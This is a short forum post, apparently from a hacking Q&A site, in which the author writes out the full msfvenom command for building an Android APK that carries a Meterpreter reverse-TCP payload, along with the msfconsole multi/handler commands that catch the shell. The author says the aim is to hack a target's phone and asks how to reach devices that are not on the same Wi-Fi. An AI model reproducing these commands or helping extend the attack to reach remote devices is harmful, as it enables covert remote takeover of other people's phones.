My aim was to hack a android mobile by sending a payload to the target's android device using msfvenom. I entered the following commands in terminal
msfvenom -p android/meterpreter/reverse tcp LHOST=myipaddress LPORT=4444 R hack.apk
There were no problems in creating payload. Then using msfconsole I entered these commands
use multi/handler
set payload android/meterpreter/reverse tcp
set LHOST myipaddress
set LPORT 4444
exploit
To test the payload I installed it on my device and opened the app. Then I was able to start a hack through my computer.
But in this case my computer(linux) device is in wifi connection with my android so I was able to hack my android device but when I turned off the wifi connection in my computer(linux) I was unable to start the hack. Note that there is still Internet connection to my computer(linux) but I was unable to start the hack.
So I figured that the hack would be only started when when the target is is wifi connection. So I want to know if there is any way to hack a device who is not in wifi connection. Should I use RHOST and RPORT. Im a little confused here and I need some help...
Comments
No Comments Exist
Be the first, drop a comment!